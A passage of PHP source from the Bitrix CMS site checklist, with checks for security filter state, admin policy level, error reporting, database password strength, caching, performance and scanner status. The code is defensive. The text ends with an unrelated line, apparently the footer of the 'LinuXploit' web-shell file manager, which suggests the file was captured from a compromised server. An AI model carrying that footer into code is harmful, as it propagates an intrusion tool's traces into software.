				$module_percent = (1 / (count($NS["MLIST"]) * 0.01)) * ((($NS["MODULE_FILES_COUNT"] - count($NS["FILE_LIST"])) / ($NS["MODULE_FILES_COUNT"] * 0.01)) * 0.01);
			}
			$percent += $module_percent;
			$arResult = [
				"IN_PROGRESS" => "Y",
				"PERCENT" => number_format($percent, 2),
			];
			if (empty($NS["FILE_LIST"]))
			{
				$NS["MNUM"]++;
				$NS["MODULE_FILES_COUNT"] = 0;
			}
		}
		return $arResult;
	}

	public static function CheckSecurity($arParams)
	{
		global $DB;
		$err = 0;
		$arResult['STATUS'] = false;
		$arMessage = '';
		switch ($arParams["ACTION"])
		{
			case "SECURITY_LEVEL":
				if (CModule::IncludeModule("security"))
				{
					if ($arMask = CSecurityFilterMask::GetList()->Fetch())
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_FILTER_EXEPTION_FOUND") . "\n";
					}
					if (!CSecurityFilter::IsActive())
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_FILTER_NON_ACTIVE") . "\n";
					}
					if (COption::GetOptionString("main", "captcha_registration", "N") == "N")
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_CAPTCHA_NOT_USE") . "\n";
					}

					if (CCheckListTools::AdminPolicyLevel() != "high")
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_ADMIN_SECURITY_LEVEL") . "\n";
					}
					if (COption::GetOptionInt("main", "error_reporting", E_COMPILE_ERROR | E_ERROR | E_CORE_ERROR | E_PARSE) != (E_COMPILE_ERROR | E_ERROR | E_CORE_ERROR | E_PARSE) && COption::GetOptionString("main", "error_reporting", "") != 0)
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_ERROR_REPORTING_LEVEL") . "\n";
					}
					if ($DB->debug)
					{
						$arMessage .= (++$err) . ". " . GetMessage("CL_DBDEBUG_TURN_ON") . "\n";
					}
					if ($arMessage)
					{
						$arResult["STATUS"] = false;
						$arResult["MESSAGE"] = [
							"PREVIEW" => GetMessage("CL_MIN_LEVEL_SECURITY"),
							"DETAIL" => GetMessage("CL_ERROR_FOUND") . "\n" . $arMessage,
						];
					}
					else
					{
						$arResult["STATUS"] = true;
						$arResult["MESSAGE"] = [
							"PREVIEW" => GetMessage("CL_LEVEL_SECURITY") . "\n",
						];
					}
				}
				else
				{
					$arResult = [
						"STATUS" => false,
						"MESSAGE" => [
							"PREVIEW" => GetMessage("CL_SECURITY_MODULE_NOT_INSTALLED") . "\n",
						],
					];
				}
				break;
			case "ADMIN_POLICY":
				if (CCheckListTools::AdminPolicyLevel() != "high")
				{
					$arResult["MESSAGE"]["PREVIEW"] = GetMessage("CL_ADMIN_SECURITY_LEVEL") . "\n";
				}
				else
				{
					$arResult = [
						"STATUS" => true,
						"MESSAGE" => [
							"PREVIEW" => GetMessage("CL_ADMIN_SECURITY_LEVEL_IS_HIGH") . "\n",
						],
					];
				}
				break;
		}

		return $arResult;
	}

	public static function CheckErrorReport()
	{
		global $DBDebug;
		$err = 0;
		$arResult["STATUS"] = true;
		$arMessage = '';
		if ($DBDebug)
		{
			$arMessage .= (++$err) . ". " . GetMessage("CL_DBDEBUG_TURN_ON") . "\n";
		}
		if (COption::GetOptionString("main", "error_reporting", "") != 0 && ini_get("display_errors"))
		{
			$arMessage .= (++$err) . ". " . GetMessage("CL_ERROR_REPORT_TURN_ON") . "\n";
		}

		if ($arMessage)
		{
			$arResult["STATUS"] = false;
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_ERROR_FOUND_SHORT") . "\n",
				"DETAIL" => $arMessage,
			];
		}
		return $arResult;
	}

	public static function IsCacheOn()
	{
		$arResult["STATUS"] = true;
		if (COption::GetOptionString("main", "component_cache_on", "Y") == "N")
		{
			$arResult["STATUS"] = false;
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_TURNOFF_AUTOCACHE") . "\n",
			];
		}
		else
		{
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_TURNON_AUTOCACHE") . "\n",
			];
		}

		return $arResult;
	}

	public static function CheckDBPassword()
	{
		$err = 0;
		$arMessage = "";
		$sign = ",.#!*%$:-^@{}[]()'\"-+=<>?`&;";
		$dit = "1234567890";
		$have_sign = false;
		$have_dit = false;
		$arResult["STATUS"] = true;

		$connection = Main\Application::getInstance()->getConnection();
		$password = $connection->getPassword();

		if ($password == '')
		{
			$arMessage .= GetMessage("CL_EMPTY_PASS") . "\n";
		}
		else
		{
			if ($password == mb_strtolower($password))
			{
				$arMessage .= (++$err) . ". " . GetMessage("CL_SAME_REGISTER") . "\n";
			}

			for ($j = 0, $c = mb_strlen($password); $j < $c; $j++)
			{
				if (mb_strpos($sign, $password[$j]) !== false)
				{
					$have_sign = true;
				}
				if (mb_strpos($dit, $password[$j]) !== false)
				{
					$have_dit = true;
				}
				if ($have_dit == true && $have_sign == true)
				{
					break;
				}
			}

			if (!$have_dit)
			{
				$arMessage .= (++$err) . ". " . GetMessage("CL_HAVE_NO_DIT") . "\n";
			}
			if (!$have_sign)
			{
				$arMessage .= (++$err) . ". " . GetMessage("CL_HAVE_NO_SIGN") . "\n";
			}
			if (mb_strlen($password) < 8)
			{
				$arMessage .= (++$err) . ". " . GetMessage("CL_LEN_MIN") . "\n";
			}
		}
		if ($arMessage)
		{
			$arResult["STATUS"] = false;
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_ERROR_FOUND_SHORT"),
				"DETAIL" => $arMessage,
			];
		}
		else
		{
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_NO_ERRORS"),
			];
		}
		return $arResult;
	}

	public static function CheckPerfomance($arParams)
	{
		if (!IsModuleInstalled("perfmon"))
		{
			return [
				"STATUS" => false,
				"MESSAGE" => [
					"PREVIEW" => GetMessage("CL_CHECK_PERFOM_NOT_INSTALLED"),
				],
			];
		}
		$arResult = [
			"STATUS" => true,
		];
		switch ($arParams["ACTION"])
		{
			case "PHPCONFIG":
				if (COption::GetOptionString("perfmon", "mark_php_is_good", "N") == "N")
				{
					$arResult["STATUS"] = false;
					$arResult["MESSAGE"] = [
						"PREVIEW" => GetMessage("CL_PHP_NOT_OPTIMAL", ["#LANG#" => LANG]) . "\n",
					];
				}
				else
				{
					$arResult["MESSAGE"] = [
						"PREVIEW" => GetMessage("CL_PHP_OPTIMAL") . "\n",
					];
				}
				break;
			case "PERF_INDEX":
				$arPerfIndex = COption::GetOptionString("perfmon", "mark_php_page_rate", "N");
				if ($arPerfIndex == "N")
				{
					$arResult["STATUS"] = false;
					$arResult["MESSAGE"] = [
						"PREVIEW" => GetMessage("CL_CHECK_PERFOM_FAILED", ["#LANG#" => LANG]) . "\n",
					];
				}
				elseif ($arPerfIndex < 15)
				{
					$arResult["STATUS"] = false;
					$arResult["MESSAGE"] = [
						"PREVIEW" => GetMessage("CL_CHECK_PERFOM_LOWER_OPTIMAL", ["#LANG#" => LANG]) . "\n",
					];
				}
				else
				{
					$arResult["MESSAGE"] = [
						"PREVIEW" => GetMessage("CL_CHECK_PERFOM_PASSED") . "\n",
					];
				}
				break;
		}
		return $arResult;
	}

	public static function CheckQueryString($arParams = [])
	{
		$time = time();
		$arPath = [
			$_SERVER["DOCUMENT_ROOT"],
			$_SERVER["DOCUMENT_ROOT"] . "/bitrix/templates/",
			$_SERVER["DOCUMENT_ROOT"] . "/bitrix/php_interface/",
			$_SERVER["DOCUMENT_ROOT"] . "/bitrix/components/",
		];
		$arExept = [
			"FOLDERS" => ["images", "bitrix", "upload", ".svn"],
			"EXT" => ["php"],
			"FILES" => [
				$_SERVER["DOCUMENT_ROOT"] . "/bitrix/php_interface/dbconn.php",
				"after_connect.php",
			],
		];

		$arParams["STEP"] = (intval($arParams["STEP"]) >= 0) ? intval($arParams["STEP"]) : 0;
		if (!\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"] || $arParams["STEP"] == 0)
		{
			\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"] = [
				"LAST_FILE" => "",
				"FOUND" => "",
				"PERCENT" => 0,
			];
			$files = [];
			$arPathTmp = $arPath;
			foreach ($arPathTmp as $path)
			{
				CCheckListTools::__scandir($path, $files, $arExept);
			}
			\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["COUNT"] = count($files);
		}

		$arFileNum = 0;
		foreach ($arPath as $namespace)
		{
			$files = [];
			CCheckListTools::__scandir($namespace, $files, $arExept);
			foreach ($files as $file)
			{
				$arFileNum++;
				//this is not first step?
				if (\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["LAST_FILE"] <> '')
				{
					if (\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["LAST_FILE"] == $file)
					{
						\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["LAST_FILE"] = "";
					}
					continue;
				}

				if ($content = file_get_contents($file))
				{
					$queries = [];
					preg_match('/((?:mysql_query|mysqli_query|odbc_exec|oci_execute|odbc_execute)\(.*\))/ism', $content, $queries);

					if ($queries && !empty($queries[0]))
					{
						\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["FOUND"] .= str_replace(["//", "\\\\"], ["/", "\\"], $file) . "\n";
					}
				}

				if (time() - $time >= 20)
				{
					\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["LAST_FILE"] = $file;
					return [
						"IN_PROGRESS" => "Y",
						"PERCENT" => round($arFileNum / (\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["COUNT"] * 0.01), 2),
					];
				}
			}
		}
		$arResult = ["STATUS" => true];
		if (\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["FOUND"] <> '')
		{
			$arResult["STATUS"] = false;
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_KERNEL_CHECK_FILES") . $arFileNum . ".\n" . GetMessage("CL_ERROR_FOUND_SHORT") . "\n",
				"DETAIL" => GetMessage("CL_DIRECT_QUERY_TO_DB") . "\n" . \Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]["FOUND"],
			];
		}
		else
		{
			$arResult["MESSAGE"] = [
				"PREVIEW" => GetMessage("CL_KERNEL_CHECK_FILES") . $arFileNum . "\n",
			];
		}
		unset(\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"]);
		return $arResult;
	}

	public static function KeyCheck()
	{
		$arResult = ["STATUS" => false];
		$arUpdateList = CUpdateClient::GetUpdatesList($errorMessage, LANG);
		if (array_key_exists("CLIENT", $arUpdateList) && $arUpdateList["CLIENT"][0]["@"]["RESERVED"] == "N")
		{
			$arResult = [
				"STATUS" => true,
				"MESSAGE" => ["PREVIEW" => GetMessage("CL_LICENSE_KEY_ACTIVATE")],
			];
		}
		else
		{
			$arResult["MESSAGE"] = ["PREVIEW" => GetMessage("CL_LICENSE_KEY_NONE_ACTIVATE", ["#LANG#" => LANG])];
		}

		return $arResult;
	}

	public static function CheckVMBitrix()
	{
		$arResult = ["STATUS" => true];

		$vm = new BitrixVm();
		$ver = $vm->getVersion();

		if ($ver)
		{
			if (version_compare($ver, $vm->getAvailableVersion()) >= 0)
			{
				$arResult["MESSAGE"] = [
					'PREVIEW' => GetMessage("CL_VMBITRIX_ACTUAL"),
				];
			}
			else
			{
				$arResult["STATUS"] = false;
				$arResult["MESSAGE"] = [
					'PREVIEW' => GetMessage("CL_VMBITRIX_NOT_ACTUAL"),
				];
			}
		}

		return $arResult;
	}

	public static function CheckSiteCheckerStatus()
	{
		$arResult = [];
		$arResult["STATUS"] = false;

		$checkerStatus = COption::GetOptionString('main', 'site_checker_success', 'N');
		if ($checkerStatus == 'Y')
		{
			$arResult["STATUS"] = true;
			$arResult["MESSAGE"] = [
				'PREVIEW' => GetMessage("CL_SITECHECKER_OK", ["#LANG#" => LANG]),
			];
		}
		else
		{
			$arResult["MESSAGE"] = [
				'PREVIEW' => GetMessage("CL_SITECHECKER_NOT_OK", ["#LANG#" => LANG]),
			];
		}

		return $arResult;
	}

	public static function CheckSecurityScannerStatus()
	{
		$arResult = [];
		$arResult["STATUS"] = false;

		if (!Loader::includeModule('security'))
		{
			return $arResult;
		}

		$lastTestingInfo = CSecuritySiteChecker::getLastTestingInfo();
		$criticalResultsCount = CSecuritySiteChecker::calculateCriticalResults($lastTestingInfo["results"] ?? []);

		if ((time() - MakeTimeStamp($lastTestingInfo['test_date'] ?? '', FORMAT_DATE)) > 60 * 60 * 24 * 30)
		{
			$arResult["MESSAGE"] = [
				'PREVIEW' => GetMessage("CL_SECURITYSCANNER_OLD", ["#LANG#" => LANG]),
			];
		}
		elseif ($criticalResultsCount === 0)
		{
			$arResult["STATUS"] = true;
			$arResult["MESSAGE"] = [
				'PREVIEW' => GetMessage("CL_SECURITYSCANNER_OK"),
			];
		}
		else
		{
			$arResult["MESSAGE"] = [
				'PREVIEW' => GetMessage("CL_SECURITYSCANNER_NOT_OK", ["#LANG#" => LANG]),
			];
		}

		return $arResult;
	}
}

class CCheckListTools
{
	public static function __scandir($pwd, &$arFiles, $arExept = false)
	{
		if (file_exists($pwd))
		{
			$dir = scandir($pwd);
			foreach ($dir as $file)
			{
				if ($file == ".." || $file == ".")
				{
					continue;
				}
				if (is_dir($pwd . "$file"))
				{
					if (!in_array($file, $arExept["FOLDERS"]))
					{
						CCheckListTools::__scandir($pwd . "$file/", $arFiles, $arExept);
					}
				}
				elseif (in_array(mb_substr(strrchr($file, '.'), 1), $arExept["EXT"])
					&& !in_array($pwd . $file, $arExept["FILES"])
					&& !in_array($file, $arExept["FILES"])
				)
				{
					$arFiles[] = $pwd . "/$file";
				}
			}
		}
	}

	/**
	 * @return string 'low', 'middle', 'high'
	 */
	public static function AdminPolicyLevel()
	{
		$policy = CUser::getPolicy(1);

		$preset = Policy\RulesCollection::createByPreset(Policy\RulesCollection::PRESET_MIDDLE);
		if ($policy->compare($preset))
		{
			// middle preset is stronger than the current
			return 'low';
		}

		$preset = Policy\RulesCollection::createByPreset(Policy\RulesCollection::PRESET_HIGH);
		if ($policy->compare($preset))
		{
			// high preset is stronger than the current
			return 'middle';
		}

		return 'high';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit